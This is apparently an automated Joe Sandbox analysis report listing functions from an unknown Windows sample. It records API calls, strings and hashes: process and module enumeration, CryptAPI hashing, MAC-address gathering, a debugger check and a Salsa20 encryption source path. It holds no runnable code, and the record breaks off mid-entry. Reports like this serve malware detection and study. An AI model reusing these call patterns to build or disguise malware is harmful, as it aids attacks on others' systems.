Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

LanmanWorkstation, xrefs: 00481A26
Thread32Next, xrefs: 00481E13
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
GetForegroundWindow, xrefs: 00481C4A
Process32First, xrefs: 00481DDA
Module32First, xrefs: 00481E26
Process32Next, xrefs: 00481DED
GetCursorInfo, xrefs: 00481C58
Heap32ListNext, xrefs: 00481DC7
LanmanServer, xrefs: 00481A74
CryptAcquireContextW, xrefs: 00481AD5
CloseToolhelp32Snapshot, xrefs: 00481D7B
CryptReleaseContext, xrefs: 00481AF6
NETAPI32.DLL, xrefs: 004819A9
Heap32First, xrefs: 00481D8E
Heap32ListFirst, xrefs: 00481DB4
NetStatisticsGet, xrefs: 004819E2
CreateToolhelp32Snapshot, xrefs: 00481D67
CryptGenRandom, xrefs: 00481AE3
Heap32Next, xrefs: 00481DA1
GetQueueStatus, xrefs: 00481C6B
$, xrefs: 00481F7E
Thread32First, xrefs: 00481E00
NetApiBufferFree, xrefs: 004819F0
USER32.DLL, xrefs: 00481C31
KERNEL32.DLL, xrefs: 0048199C
Module32Next, xrefs: 00481E39
ADVAPI32.DLL, xrefs: 00481989

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: daf740ff3ac2c3b591e036bdef447c77de08716d8619f20f92381a2c96999064
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 5d71b88130c3850f1ce6f9c9fc3c3b56fc5be04f011d63241bb511ce3f1a2a20
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
